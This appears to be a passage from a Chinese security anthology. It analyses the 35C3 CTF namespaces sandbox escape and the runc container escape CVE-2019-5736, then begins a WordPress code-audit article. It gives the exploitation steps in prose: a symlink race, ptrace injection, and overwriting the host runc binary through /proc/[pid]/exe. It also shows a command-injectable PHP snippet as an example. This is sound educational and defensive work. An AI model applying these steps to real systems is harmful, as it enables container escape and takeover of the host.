覆盖宿主机 runc 程序的容器逃逸漏洞。该漏洞于 2019 年 2 月 11 日通过邮件列表披露，分配编号

CVE-2019-5736。

自漏洞披露以来，网络上陆续有一些分析文章出现。其中不乏洞见之作，然而部分细节的缺失使

得它们对于逻辑严谨但缺乏相关背景知识的读者来说并不十分友好。一方面，本文期望能够给出一

个内容翔实、逻辑完整的漏洞分析；另一方面，如前所述的整个事件是一个从模拟场景到真实场景、

从 CTF题目到实际漏洞的极好示例—---笔者希望借助对 Dragon Sector从 Pwn到发现漏洞的历程重现，

形成对容器底层技术和攻击面更深刻的认识，并学习感受其中的思维方式。

本文涉及到大量容器和 Linux系统相关的背景知识，限于篇幅无法一一进行讲解。部分缺乏这些

背景知识的读者可能会有困惑。建议采用 ‘‘深度优先搜索 ‘‘的方式阅读文章，即遇到陌生概念时先去

寻找资料把这个概念大致弄明白，再回来继续阅读。希望通过这样的阅读，您能有所收获。

后文结构如下：首先对 35C3 CTF题目进行分析，其次是 CVE-2019-5736，最后对整个分析过程作

总结。

文中如有不当之处，还请读者朋友指教。
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8.2 二、35C3 CTF Pwn namespaces

8.2.1 题目概述

拿到 CTF题目，自然先读一下题面：

Here is another linux user namespaces challenge by popular demand. For security reasons, this sandbox

needs to run as root. If you can break out of the sandbox, there’s a flag in /, but even then you might not be able to

read it :). The files are here: https://35c3ctf.ccc.ac/uploads/namespaces-a4b1ac039830f7c430660bc155dd2099.tar

Service running at: nc 35.246.140.24 1

Hints:

You’ll need to create your own user namespace for the intended solution.

从题面上我们知道，这是一道与 Linux命名空间有关的沙盒题目，任务是逃出沙盒，拿到 flag。

下载文件包并解压，得到两个文件：一个 Dockerfile和一个名为 namespaces的 64位 Linux可执行

文件。

其中，Dockerfile内容如下：

1FROM tsuro/nsjail2COPY challenge/namespaces /home/user/chal3#COPY tmpflag /flag4CMD /bin/sh -c "/usr/bin/setup_cgroups.sh && cp /flag /tmp/flag && chmod 400 /tmp/flag && chown user /tmp/flag && su user -c ’/usr/bin/nsjail -Ml --port 1337 --chroot / -R /tmp/flag:/flag -T /tmp --proc_rw -U 0:1000:1 -U 1:100000:1 -G 0:1000:1 -G 1:100000:1 --keep_caps --cgroup_mem_max 209715200 --cgroup_pids_max 100 --cgroup_cpu_ms_per_sec 100 --rlimit_as max --rlimit_cpu max --rlimit_nofile max --rlimit_nproc max -- /usr/bin/stdbuf -i0 -o0 -e0 /usr/bin/maybe_pow.sh /home/user/chal’"

注：本文成稿时似乎 35C3 CTF官网已经关闭，如需本题目附件，可关注 ‘‘绿盟科技研究通讯’’公

众号，回复 35c3ctf进行下载。附件相关权利为 35C3 CTF主办方所有，如有不当，请联系我们删除。

8.2.2 漏洞定位与分析

2.2.1 Dockerfile

首先看 Dockerfile，毫无疑问，最重要的是第三行 CMD 部分。其中，/usr/bin/setup_cgroups.sh 是设

置 cgroups的脚本，这部分是资源上的限制，帮助不大；cp /flag /tmp/flag && chmod 400 /tmp/flag &&

chown user /tmp/flag告诉我们 flag文件有两处：/flag和/tmp/flag，前者的权限和所有者都未知，后者的

权限是 400，所有者为 user用户。

NsJail[4]是由 Google开源的一款进程隔离工具，常用于 CTF比赛题目的部署。它的参数有很多，

感兴趣者可以自行到官网了解。

Dockerfile中最后以 user用户身份运行 NsJail，创建了一个隔离环境：

1/usr/bin/nsjail -Ml --port 1337 --chroot / -R /tmp/flag:/flag -T /tmp --proc_rw -U 0:1000:1 -U 1:100000:1 -G 0:1000:1 -G 1:100000:1 --keep_caps --cgroup_mem_max 209715200 --cgroup_pids_max 100 --cgroup_cpu_ms_per_sec 100 --rlimit_as max --rlimit_cpu max --rlimit_nofile max --rlimit_nproc max -- /usr/bin/stdbuf -i0 -o0 -e0 /usr/bin/maybe_pow.sh /home/user/chal

在众多参数中，我们感兴趣的是：

1. 监听在 1337端口（-Ml –port 1337）；

2. 没有切换根目录（–chroot /）；

3. 将/tmp/flag以只读方式绑定挂载到/flag，并在/tmp处挂载一个 tmpfs（-R /tmp/flag:/flag -T /tmp）；

4. 将 procfs挂载为可读写模式（/proc/_rw）；

5. UID/GID：隔离环境内的 0和 1分别映射为环境外的 1000和 100000（-U 0:1000:1 -U 1:100000:1

-G 0:1000:1 -G 1:100000:1）；
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6. 保留所有 capabilities[5]（–keep_caps）。

其他参数对于攻克挑战来说无关紧要。最后，NsJail 将运行/home/user/chal，也就是前面提到的

namespaces二进制文件。

分析到这里，我们可以确定的是，在隔离环境内部，通过/tmp/flag路径已经不能直接拿到 flag，因

为它被新的 tmpfs遮盖；通过/flag路径能够拿到 flag，虽然一开始我们不知道它的权限和所有者，但

现在挂载在这里的其实是原先的/tmp/flag，属于 user用户，而当前的隔离环境恰恰是以 user身份运行。

所以，如果能利用后面的 namespaces程序在这个隔离空间内获得 user身份的代码执行机会，就能

拿到 flag。

注：这个 Dockerfile可能会给一些朋友造成误解。事实上，Docker本身和 NsJail只是用来部署题目

的工具，并非要逃逸的沙盒。后面将要分析的 namespaces程序才是需要突破的有缺陷沙盒。

2.2.2二进制文件

虽然对于沙盒类题目来说不是很必要，但还是常规操作看一下 namespaces的文件类型：

1rambo@matrix:~/namespaces$ file namespaces2namespaces: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=9e6a81c671a2d46fc420b7cd0851c482c48ee53a, not stripped

经过逆向，我们基本掌握了这个程序的代码逻辑，一目了然：

1.创建/tmp/chroots目录，并将其权限改为 777；

2.进入循环体，等待用户输入，输入 1则执行 start_box函数进行创建沙盒操作（转向第 3步）；输

入 2则执行 run_elf函数，将用户给定的二进制程序放入沙盒中运行（转向第 4步）；

3.start_box分支：首先会以全新的命名空间创建一个子进程，将子进程 user命名空间的 UID/GID

1映射为父进程 user命名空间的 1，接着父进程回到第 2步中的循环体等待输入。子进程从用户输入

读取一段数据作为 ELF文件加载为匿名文件（memfd）[12]并返回文件描述符，然后在/tmp/chroot/下

以当前沙盒的序号为名称创建一个目录，同样改权限为 777，并将根目录切换到这里，紧接着调用

setresgid/setresuid降权为 1号用户。最后，子进程将执行前述匿名文件；

4.run_elf分支：首先由用户给定一个沙盒序号，并继续提示用户发送一段数据作为将要执行的

ELF文件。接着创建一个子进程，父进程回到第 2步中的循环体等待输入。子进程根据用户给定的

沙盒序号找到沙盒内的初始进程（第 3步中用户输入的 ELF程序），依次打开并加入/proc/[初始进程

PID]/ns/下的 user、mnt、pid、uts、ipc和 cgroup命名空间（划重点！）。其中，在加入 pid命名空间后执行

了一次 fork，真正切换到目标 pid命名空间（这是因为 pid命名空间比较特殊，当前进程的 pid命名空

间并不会改变，只有子进程的才会）。fork后的父进程退出，子进程根据沙盒序号找到/tmp/chroots/[沙

盒序号]，切换根目录到这里，同样调用 setresgid/setresuid降权为 1号用户。最后，这个子进程将执行

本步骤最开始用户输入的 ELF文件。
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这 4步讲完，您可能会觉得有点绕。但是，一方面，这个程序的代码逻辑本身真的非常简单，推

荐自己动手逆向看看；另一方面，将这一系列的操作和容器类比来看，我们会发现它们很相像：上述

第 3步创建沙盒并启动一个 init进程，这与容器的创建和启动方式大体相同，第 4步则模拟了 docker

exec，即容器内执行命令的操作。也难怪 Dragon Sector在赛后会跃跃欲试去看 Docker有没有类似的

漏洞。当然，这是后话，何况 CVE-2019-5736的成因其实与本题并不相同。我们还是回到当前题目的

分析中来。

经过上述讲解，或许有读者即使还没有发现漏洞所在，也已经发现了异常之处—---第 4步 run_elf

分支中 ‘‘依次加入命名空间’’的步骤竟然漏掉很重要的一个——net命名空间！

2.2.3漏洞分析

进程没有加入所在沙盒的 net命名空间有什么影响呢？

这意味着，它能够直接看到宿主的网络接口。在题目环境里，就是我们借助 run_elf运行的程序

能够直接看到/home/user/chal视角下的网络接口，而非它所在沙盒内部的。因此，不同沙盒内部通过

run_elf运行的程序能够互相通信。

那么，如何借助这一特点完成沙盒逃逸呢？

2.2.3.1传递文件描述符

Linux系统中有一类特殊的文件操作 API，它们的名称以 at结尾，如 openat、unlinkat和 symlinkat等。

它们与不带 at的函数功能相同，只是通过一个文件描述符加基于该文件描述符对应文件的相对路径来

获得最终的文件路径，而非传统上直接由调用者给出字符串参数指定。前面三个函数的定义如下：

1int openat(int dirfd, const char *pathname, int flags);2int unlinkat(int dirfd, const char *pathname, int flags);3int symlinkat(const char *target, int newdirfd, const char *linkpath);

如果我们能够在沙盒 1中打开当前进程根目录，并将该文件描述符通过网络通信传递给沙盒 2中

的进程，那么沙盒 2中的进程就能够以这个文件描述符加上相对路径参数调用 openat打开沙盒外的文

件，例如/flag，从而实现沙盒逃逸。

事实上，这个思路是可行的。参考文档 [6]可知，我们可以借助 unix socket以 ‘‘辅助消息’’（Ancillary

messages）的方式在指定类型为 SCM_RIGHTS时发送和接收文件描述符；然而，各个沙盒进程的 mnt

命名空间互相隔离，不同沙盒进程无法通过打开同一 unix socket文件的方式实现通信。

同样由文档 [6]可知，Linux支持一类独立于文件系统的抽象命名空间（Abstract namespace），我

们能够将 unix socket绑定到抽象命名空间内的一个名称上，而非在本地文件系统上创建一个 socket文

件，这样一来，不同沙盒中 run_elf的进程就能够通过同一个名称找到对应 unix socket，从而实现文件

描述符的传递。

至此，似乎思路已经打通，我们只需要按照上述步骤编写代码，然后读取/flag就好。实际上，这

样并不能成功。前面提到过，/flag实际上是/tmp/flag以只读方式的绑定挂载，而/tmp/flag属于 user用

户（由于 nsjail的映射，在沙盒中它实际上是 0号 root用户），权限为 400。run_elf运行的 ELF文件经

过降权，以沙盒内 UID/GID为 1的身份运行。因此，我们还需要让 run_elf进程在沙盒内设法提权为

root用户（从外部来看，即 user用户）。
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2.2.3.2提升权限

我们注意到，沙盒本身是以 user身份运行的，只是分别在 start_box和 run_elf分支经过降权（setr）罢

了。如果能够阻止降权，就能够获得 user权限。从 2.2.2节可以知道，run_elf分支在降权前执行了依次

加入沙盒命名空间的操作。如果能够在这些步骤后不执行降权操作，就不会降权。进一步地，如果能

够在这些步骤后直接执行我们想要执行的代码，譬如读取/flag，就实现了以 user身份代码执行的目的。

如何实现呢？

如果我们能够 ptrace到一个 run_elf进程上，就能够向其中注入代码，而这要求 ptrace进程与被调

试的 run_elf进程在同一个 pid命名空间内。回顾前面的内容，run_elf将依次打开并加入/proc/[初始进

程 PID]/ns/下的 user、mnt、pid、uts、ipc和 cgroup命名空间。设想这样一种情况：假如我们创建一个

沙盒，其中的 init进程 fork一个子进程，然后将/tmp/xxx目录绑定挂载到/proc/[init进程 PID]/ns，接

着在这个目录下创建符号链接，将各个命名空间链接到 init进程 fork的子进程对应的/proc/[子进程

PID]/ns目录下，那么当一个 run_elf进程加入沙盒 init进程的 mnt命名空间后，它将看到被上述操作

修改过的/proc，接着它加入的 pid命名空间实际上属于 init的子进程。这样一来，init子进程就能够在

这个 pid命名空间下借助 ptrace向未降权的 run_elf进程注入代码并执行了。为了提高成功率，我们甚

至可以将 init进程的 uts命名空间设置为一个管道，当 run_elf进程尝试加入这个命名空间时，它将被

阻塞住，从而阻止了降权操作。

至此，似乎我们达到了以 user身份代码执行的目的。然而，上面的思路还是存在问题。

为了 ptrace，init进程必须新建一个 pid命名空间，而新建 pid命名空间需要当前进程在当前 user命

名空间内具有 CAP_SYS_ADMIN权限，但是原 init进程并没有这个权限，且 chroot过的进程不被允许

创建新的 user命名空间来获得该权限。因此，现在的问题变成了如何让原 init进程从 chroot中逃逸。

2.2.3.3从 chroot中逃逸

2.2.2节一开始提到所有沙盒所在目录/tmp/chroots的权限为 777，而 2.2.3.1节中我们已经能够通过传

递文件描述符来让一个 run_elf进程访问到 chroot外的文件系统。综合两者来看，我们有以下逃逸

chroot的方案：

1.首先创建沙盒 1和沙盒 2，其中沙盒 1将自己的根目录文件描述符发送给沙盒 2，沙盒 2拿到这

个文件描述符并循环等待沙盒 3在/tmp/chroots下目录的建立；

2. 创建沙盒 3，从 2.2.2 节我们得知，start_box 分支会先创建/tmp/chroots/3 目录（mkdir），然后

chroot到该目录。这里和第 1步最后沙盒 2的循环等待联系在一起，构成了我们安排的竞态攻击；

3.如果 CPU调度结果是：沙盒 3先mkdir，然后沙盒 2检测到/tmp/chroots/3的建立，并使用 unlinkat

API将该目录删除（注意 777宽松权限），紧接着使用 symlinkat API创建一个同名的指向/根目录的符

号链接，最后沙盒 3执行 chroot操作。那么沙盒 3的 chroot后看到的依然是宿主根路径，逃逸成功。

我们获得的正是 2.2.3.2节末尾需要的、从 chroot中逃逸的 init进程。

需要注意的一点是，笔者最初在虚拟机中搭建 docker环境进行上述实验，单核 CPU配置导致本节

提到的竞态攻击成功率非常低。建议读者朋友搭建环境复现时最好在多核环境下进行。
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8.2.3 漏洞利用

环环相扣，完美无缺，一条利用链已经形成。Github上有研究人员给出了非常优雅的完整漏洞利用代

码 [7]，十分推荐大家下载学习。如果 2.2.3.3节的竞态攻击成功，那么我们通过 ptrace注入到未降权

的 run_elf进程内的读取/flag的代码就会执行。

我们先在本地搭建起漏洞环境，将题目运行起来：

接着运行漏洞利用代码，效果如下图所示（略去了前面的交互过程）：

至此，关于这道题目的讲解到这里告一段落。总结一下，上面的关键问题有两个：
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1. 外来进程并没有完全加入沙盒所有命名空间（net命名空间）；

2. 外来进程是依次加入沙盒命名空间的，尤其是在加入 pid命名空间时，由于其特性（修改 pid命

名空间只在子进程生效），直接 fork出子进程，这给了我们竞态攻击的机会。

8.3 三、CVE-2019-5736

8.3.1 漏洞概述

在 35C3赛后从莱比锡返程的路上，Dragon Sector队员开始进行知识迁移，琢磨能否应用这道 CTF题

目的经验方法去攻击一个相似的程序模型：容器。

在容器世界里，真正负责创建、修改和销毁容器的组件实际上是容器运行时。下图 [17]较好地展

示了当下容器运行时在整个容器世界中所处位置：

那么，容器运行时在容器内部执行命令时是否也存在上面提到的 ‘‘依次加入命名空间’’的问题呢？

如果是，那么它就很可能面临同样的缺陷。以 runc为例（后文均以 runc为例进行说明）：runc exec时

先加入 user和 pid命名空间，接着 fork出子进程，再加入其他命名空间。如果恶意进程在容器内检测

到 runc加入了自己的 pid命名空间时，直接调用 ptrace向 runc进程注入恶意代码，就能够实现容器外

代码执行。

很遗憾，一方面，runc是在加入了所有命名空间后才 fork出子进程的；另一方面，docker的默认

安全配置不允许容器内部执行和命名空间相关的系统调用。这个思路行不通。

后来，他们的思路转向 proc伪文件系统 [11]，成功发现了漏洞。下一节，我们将对漏洞成因进行

分析。
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8.3.2 漏洞分析

我们在执行功能类似于 docker exec的命令（其他的如 docker run等，不再讨论）时，底层实际上是容

器运行时在操作。例如 runc，相应地，runc exec命令会被执行。它的最终效果是在容器内部执行用户

指定的程序。进一步讲，就是在容器的各种命名空间内，受到各种限制（如 cgroups）的情况下，启动

一个进程。除此以外，这个操作与宿主机上执行一个程序并无二致。

执行过程大体是这样的：runc启动，加入到容器的命名空间，接着以自身（/proc/self/exe，后面会

解释）为范本启动一个子进程，最后通过 exec系统调用执行用户指定的二进制程序。

这个过程看起来似乎没有问题，相关风险点我们在 3.1节也已经分析过了。现在，我们需要让另

一个角色出场——proc伪文件系统，即/proc。关于这个概念，Linux文档 [11]已经给出了详尽的说明，

这里我们主要关注/proc下的两类文件：

1. /proc/[PID]/exe：它是一种特殊的符号链接，又被称为 magic links（为什么将这类符号链接叫做

magic links呢？请参考附录内容，这一点对当前漏洞的形成至关重要），指向进程自身对应的本

地程序文件（例如我们执行 ls，/proc/[ls-PID]/exe就指向/bin/ls）；

2. /proc/[PID]/fd/：这个目录下包含了进程打开的所有文件描述符。

/proc/[PID]/exe的特殊之处在于，如果你去打开这个文件，在权限检查通过的情况下，内核将直接

返回给你一个指向该文件的描述符（file descriptor），而非按照传统的打开方式去做路径解析和文件查

找。这样一来，它实际上绕过了 mnt命名空间及 chroot对一个进程能够访问到的文件路径的限制。

那么，设想这样一种情况：在 runc exec加入到容器的命名空间之后，容器内进程已经能够通过内

部/proc观察到它，此时如果打开/proc/[runc-PID]/exe并写入一些内容，就能够实现将宿主机上的 runc

二进制程序覆盖掉！这样一来，下一次用户调用 runc去执行命令时，实际执行的将是攻击者放置的指

令。

在未升级的容器环境上，上述思路是可行的，但是攻击者想要在容器内实现宿主机上的代码执行

（逃逸），还需要面对两个限制：

1. 需要具有容器内部 root权限；

2. Linux不允许修改正在运行进程对应的本地二进制文件。

事实上，限制 1经常不存在，很多容器服务开放给用户的仍然是 root权限；而限制 2是可以克服

的，后面一节会讲到具体的利用方式。

可以看到这个漏洞的成因比上面的 CTF题目简单许多（虽然要完全理解还需要补充很多背景知

识）。

8.3.3 漏洞利用

相对于 CTF题目来说，这个漏洞的利用代码 [9]也比较简单。其步骤可归纳如下：

1.将容器内的/bin/sh程序覆盖为 #!/proc/self/exe；

2.持续遍历容器内/proc目录，读取每一个/proc/[PID]/cmdline，对 “runc’’做字符串匹配，直到找到

runc进程号；

3.以只读方式打开/proc/[runc-PID]/exe，拿到文件描述符 fd；
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4.持续尝试以写方式打开第 3步中获得的只读 fd（/proc/self/fd/[fd]），一开始总是返回失败，直到 runc

结束占用后写方式打开成功，立即通过该 fd向宿主机上/usr/bin/runc（名字也可能是/usr/bin/docker-runc）

写入攻击载荷；

5.runc 最后将执行用户通过 docker exec 指定的/bin/sh，它的内容在第 1 步中已经被替换成

#!/proc/self/exe，因此实际上将执行宿主机上的 runc，而 runc也已经在第 4部中被我们覆盖掉了。

我们先在本地搭建起漏洞环境（下图中给出了 docker和 runc的版本号供参照），然后运行一个容

器，在容器中模仿攻击者执行/poc程序，该程序在覆盖容器内/bin/sh为 #!/proc/self/exe后等待 runc的

出现。具体过程如下图所示（图中下方 ‘‘找到 PID为 28的进程并获得文件描述符’’是宿主机上受害

者执行 docker exec操作之后才触发的）：

容器内的/poc程序运行后，我们在容器外的宿主机上模仿受害者使用 docker exec命令执行容器

内/bin/sh打开 shell的场景。触发漏洞后，一如预期，并没有交互式 shell打开，相反，/tmp下已经出

现攻击者写入的 hello,host，具体过程如下图所示：

以上过程表明，借助这个漏洞，容器内进程具备在容器外执行代码的能力。

值得一提的是，该漏洞至少还有一种借助恶意镜像的供应链角度利用思路，以及一种借助动态链

接库进行代码注入的利用方法，感兴趣的读者可以自行搜索资料了解一下。
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8.3.4 漏洞修复

当前开发者们对此漏洞的修复方式是采用上一道 CTF题目中提到过的创建内存中匿名文件的方法，让

runc在容器内执行操作前先把自身复制成为一个匿名文件，接着执行这个匿名文件。

这样一来，在 Linux匿名机制的代码实现确保其效果的前提下，容器内的恶意进程就无法通过前

文所述/proc/[PID]/exe的方式触及到宿主机上的 runc二进制程序。

然而，这种修复方式有一个副作用：增大了容器的内存负担。社区已经有人证实这一点并在 Github

上反映情况 [13]。

8.4 四、总结

走了这么长的路，现在我们能够总结一下，从上面两个案例中收获了什么？

最直接的感受可能是，跨命名空间的操作很容易引入漏洞。加入新的命名空间很容易，然而新的

命名空间是否可信？其中具有 CAP_SYS_ADMIN权限的进程是否可控？这些是加入前要考虑清楚的

问题。

我们继续。Linux命名空间的概念最早来源于贝尔实验室的 Plan 9分布式系统项目 [14]，第一个出

现在 Linux内核中的是 mnt命名空间，始于内核版本 2.4.19，而目前为止最后一个加入的 user命名空

间已经是内核版本 3.8了 [15]；另一方面，proc伪文件系统同样由来已久。这两者分别单独拿出来时，

似乎并没有什么问题，即使像/proc下的 magic links也不会引起很大麻烦。但放在一起后，结果我们已

经看到了。

成熟复杂系统（譬如 Linux）的魅力在于其能够提供强大的功能和机制，而问题则往往出现在这些

功能与机制同时或交替生效的场景中。有时我们会把这类问题称为逻辑漏洞。当然，这类漏洞是可以

修复的，在一定程度上也是可以规避的。另外，从上面介绍的 CVE-2019-5736漏洞利用代码我们能够

感受到，针对逻辑漏洞的利用可以是简单甚至优雅的，但最初把各种机制放在一起检查到底有没有漏

洞、有什么漏洞却并不容易。

在云计算世界，我们尤其擅长将各种基础机制打包起来，创造出新的事物，这种新事物也许能够

极大地提高生产力，甚至促进产业变革—---容器便是典例。然而，结合前文所述，这也意味着以往不

曾出现过的机制交叠带来的逻辑漏洞或许会在云环境陆续产生。例如，在今年的欧洲开源峰会（Open

Source Summit Europe 2019）上，有议题展示了 ‘‘命名空间’’与 ‘‘符号链接’’两个概念放在一起出现的

一系列问题 [16]，感兴趣的读者可以关注一下。

最后，引用道哥的一句话作结：

建设更安全的互联网。

附录：为什么将/proc下的符号链接称为 magic links？

我们知道，/proc目录下有许多符号链接，例如/proc/[PID]/exe和/proc/[PID]/cwd。然而，它们并非

真正的符号链接，或者说，它们是一种特殊的符号链接，叫做 magic links。首先，我们可以借助一个

小实验来观察它们与普通符号链接的不同：
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如上图，我们创建了一个普通符号链接，可以看到它的文件长度为目标文件名的长度，即 6；

但/proc/self/exe的长度却是 0，而非其所指目标文件/bin/ls名称的长度。这个差异从一定程度上说明

了/proc下符号链接的特殊性。

当然，将它们称作 magic links的原因并非这么简单。其中很重要的一点是，当进程去操作一个这

样的符号链接时，例如 ‘‘打开’’操作，Linux内核不会按照普通符号链接处理方式在文件系统上做路

径解析，而是会直接调用专属的处理函数并返回对应文件的文件描述符。

到目前为止，magic links的概念并没有被很好地文档化，Aleksa Sarai在对 manpage的修改 [8]中

给出了一些有用的说明，笔者将它们摘录到这里，供大家参考：

There is a special class of symlink-like objects known as “magic-links” which can be found in certain

pseudo-filesystems such as proc (5) (examples include /proc/[pid]/exe and /proc/[pid]/fd/ .)

Unlike normal symlinks, magic-links are not resolved through pathname-expansion, but instead act as di-

rect references to the kernel’s own representation of a file handle. As such, these magic-links allow users to

access files which cannot be referenced with normal paths (such as unlinked files still referenced by a running

program.) Because they can bypass ordinary mount_namespaces (7)-based restrictions, magic-links have been

used as attack vectors in various exploits.

As such (since Linux 5.FOO), there are additional restrictions placed on the re-opening of magic-links (see

path_resolution (7) for more details.)

其中最重要的一句话是：

Unlike normal symlinks, magic-links are not resolved through pathname-expansion, but instead act as direct

references to the kernel’s own representation of a file handle.

因此，magic links是 ‘‘不走寻常路’’的。

也正因为这个概念没有很好地文档化，也许有的读者会觉得 ‘‘口说无凭’’。这里留一个小题目给感

兴趣的读者：在 Linux内核源码中找到操作 magic links的具体逻辑流程。这样做的好处有三：一方面，

为 magic links的特殊处理提供了最有力的证据；另一方面，能够锻炼从庞杂信息中寻找线索解决问题

的能力；最后，能够加深对 Linux内核文件处理流程的认识。

下面给出一些提示：

提示

1. 先不要去最新版本的源码中找。如上面摘录内容所述，5.x版本的代码可能增加了新的检查项目，

提高了复杂度（笔者研究时使用的是 4.14.151版代码）；

2. 可以以系统调用为探索起点。例如，从 open系统调用开始，一步步向后深入；

3. fs/proc是最重要的目录。
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星云实验室专注于云计算安全、解决方案研究与虚拟化网络安全问题研究。基于 IaaS环境的安全

防护，利用 SDN/NFV等新技术和新理念，提出了软件定义安全的云安全防护体系。承担并完成多个

国家、省、市以及行业重点单位创新研究课题，已成功孵化落地绿盟科技云安全解决方案
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作者：evil7

来源：https://xz.aliyun.com/t/6805

传送门：

拿WordPress开刀—---点亮代码审计技能树（二）

拿WordPress开刀—---点亮代码审计技能树（三）

这 PPT值得好好理解，审计思路可拓展至任何语言的框架、前端、后端、数据库操作逻辑审计

如有翻译失误，参照原文混合阅读理解即可，pdf见附件

9.1 背景

WordPress是一个非常流行的内容管理系统，超过 34％的人使用它搭建网站。易用性、兼容性、免费

性和庞大的插件库（超过 5w个）使WordPress成为第一个无需任何建站知识和开发预算即可快速轻

松地建立网站的系统。WordPress可以进行自定义和优化，因此很多政府网站或者市值百亿的公司也

在使用此 CMS来开发管理他们的网站。

黑客们一直很热衷于对WordPress进行漏洞挖掘，他公开公平公正的 bugBounty计划，吸引了各路

神仙的审计与挖掘，当然少不了有些 0day收藏所需导致的神秘力量也在挖呢。。得益于此，WordPress

的迭代更新周期也很快，所以审计这个最受欢迎的 CMS源码是一个巨大的挑战，但同时也是学习代

码审计思路的优秀案例，因为他更新的真滴贼快，时效性贼强:P

当开始对WordPress核心代码进行漏洞挖掘时，我们很快意识到要找到关键漏洞，就必须脱离日常

Web应用程序中查找简单漏洞的方法（黑盒），转而使用更有效的方法和手段来进行挖掘（代码审计）。

本文记录了我们将源代码分离为组件，将几个影响较小的 bug组合为功能强大的特权升级和远程

代码执行 exp-chain的过程。文中我们陆续发现了五个漏洞，最终完成从【未验证漏洞】提升到【任意

远程代码执行】的流程。所有问题均已披露给WordPress安全团队并已发出补丁。

我们相信公开此漏洞审计的文章不仅可以帮助其他研究人员优化审计方法，还可以帮助开发人员

更好地了解攻击者的思维方式，并为提高安全开发意识而打下基础。

9.2 方法介绍

本章介绍了我们审计WordPress的方式。首先一起回顾最常见的审核源代码的方法，了解并当前被审

计框架（例如WordPress）的 bug缺陷。然后，我们跟随文章案例介逐一讲解我们所使用的审计思路。
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9.3 传统代码审核方法

挖掘Web应用程序中漏洞的最简单方法是【用户输入】【危险函数】。对传入数据直接丢进【危险函

数】是一个脑残的开发方式，可能使【不受信任的用户输入】被直接带入执行，执行前我们应该对任

何输入内容进行过滤处理。例如：数据库操作、文件写入或命令执行等敏感操作时，这些操作可能会

被攻击者利用，通过逃逸或者反序列化等，最终导致不可控的外部命令非法注入。

此类漏洞的一个非常简单的示例如下所示：

$dir = $_GET[’dir’];

// something...

system("ls " . $dir);

通过随机传入特殊 fuzz内容，研究人员可以很快通过黑盒发现此类漏洞。当然，通过审计中层层

步进的审计方式，手工验证数据是否经过处理后安全传递给危险函数（或逃逸传递逻辑），出奇制胜风

味更佳。

9.4 传统审计方法缺陷

由于WordPress等通用框架的 0days价值很高，使用【用户输入】【危险函数】这种静态审计的方法已

经被老练的黑客团体、国家队和研究人员挖烂了。流行的通用框架中搞出这种 ‘‘教科书式漏洞’’的效

率越来越低。所以如今的 0day多半极其复杂，这种通用框架的漏洞，多半需要 2-3个组合拳利用链才

能完成整个攻击过程。这意味着越来越多的中间步骤夹杂在【用户输入】到【处理逻辑】的过程中。

更恶心的是在每个步骤之间，还有许多需要精心设计才能满足的先前逻辑条件，就特么跟 CTF故意的

一样。艹

我们使用 RIPS的静态扫描器WordPress核心代码时，着重于发现【用户输入】【处理逻辑】中的

看似低影响或没有太多直接影响的小缺陷。通常，那些总有各种传入限制或只会引发一些不痛不痒的

错误的洞，被某些只想 ‘‘一键日天’’的人视为卵用没有。

其实许多可控的 gadgets并不是真正意义的漏洞，看起来只是导致功能出现偏差（弱类转换/变量覆

盖）或影响非常有局限性（self-xss/需要其他权限的操作）。同时网络犯罪分子、赏金猎人们和 0day自

动挖掘工具，仅感兴趣于或仅能发现表层 ‘‘一发入魂’’的直接造成高危影响的洞。因此，这些没卵用

的 bug，可能并没被注意也没被上报。那么问题就来了。艹

为了找出新高危利用方式，我们选择了全面审查代码中最牛批有效的方法：‘‘无敌组合拳 exp-

chain’’。单合并多个低影响力漏洞难在把他们联系起来。不同利用点要不不在一个逻辑里，要不干脆

不在一个 module里，要不干脆功能上没有半毛钱关联。但正是毛线关系没有，导致这种利用链很难

发现（虽然你很难发现，但可喜可贺别人也难得发现，呵呵呵）。当研究人员仅尝试通过代码审计跟踪

【用户输入】是否直接传递给关键【危险函数】时，由于通常无法直接绕过这些限制，研究人员通常

放弃继续跟，因为看上去这个洞就是卵用没有。但是，或许可以通过不同的方式来打破限制。（联想

nginx配置失误后 php_pathinfo的洞）
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9.5 案例分析

让我们看一下这种组合洞的实例，在WordPress中发现。我们使用了两个漏洞（特性），在代码审计时

并没看到他俩有卵毛线关系。所以分别单个审视时他们是不可利用的。（请注意，以下示例需要管理

员权限才能进行利用并作为一个案例）尽管默认情况下管理员可以通过上传新的插件和主题来执行任

意 PHP代码，但这类弱点也可以在安装WordPress后进行改进修复。所以我们要找到另一个（后漏洞

分析中会提到的）未认证漏洞。

9.5.1 有限制的文件包含

我们使用静态代码分析工具发现了一个WordPress主题中的本地文件包含（LFI）的漏洞（RIPS漏洞

报告）。它允许攻击者从当前目录里 include()执行任何文件。WordPress中的主题是可能只会包含

模板文件以及 css文件/js文件。因此此 LFI漏洞是有局限性不能直接利用的。

WordPress通过限制为当前主题的目录，来确保传递给 include()的参数是安全的，我们不可能

从其他目录绕过限制引发漏洞，至少在正常的经过安全加固的WordPress中，我们无法上传其他文件

到该主题的目录或修改主题目录中已存在的文件。这意味着尽管可以在当前主题目录中实行任意文件

包含，我们也包含不到我们的 payload，艹。

因此，这个点只能被看作是个弱点，但不是安全漏洞。（在撰写本文时这个弱点也尚未被WordPress

修补）但是，如果我们找到个方法把 payload传入到这个主题目录下呢？

9.5.2 绕过限制的方法

由于 WordPress限制了所包含的模板文件必须位于当前主题的目录下，所以唯一的利用方法是以某

种方式修改主题文件或者将 payload文件上传/移动到主题目录。找到这样一个利用点，我们决定对

WordPress中的一些上传/修改文件的组件进行审计。我们减少了对插件的研究，开始看看更新功能和

媒体文件上传功能，因为这些点可控也必定出现文件操作。但是，我们很快意识到，去审计WordPress

的文件上传功能必定一无所获，因为各种模块里上传文件有各种奇葩限制并且还会对文件名进行过滤。

审计WordPress中间件（如：过滤器）在文件上传过程中的作用，发现上传不同文件类型时中间件

的处理方式也不同。因此，我们将每种文件类型的上传功能分解为如下线性方式。例如当.txt类型文

件上传到WordPress中时，将经过：

1.清理文件名 2.从数据库相关 upload_path设置中获取.txt类型文件应该移动到的目录 3.将文

件移动到目标目录
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抽象理解了.txt 文件上传过程后，我们发现了利用之前局限性 LFI 漏洞的方法，如果能够对

upload_path设置进行可控的任意修改，那么之后.txt文件就能被上传到我们制定的目录。

如图，我们可以修改 upload_path 指向任意目录，比如：如果 WordPress 使用了默认主题

twentyninteen，那么我们只要修改 upload_path为 wp-content/themes/twentyninteen就能绕过

之前 include()没有办法上传文件到主题目录，但又必须包含在主题目录下文件的限制，从而继续

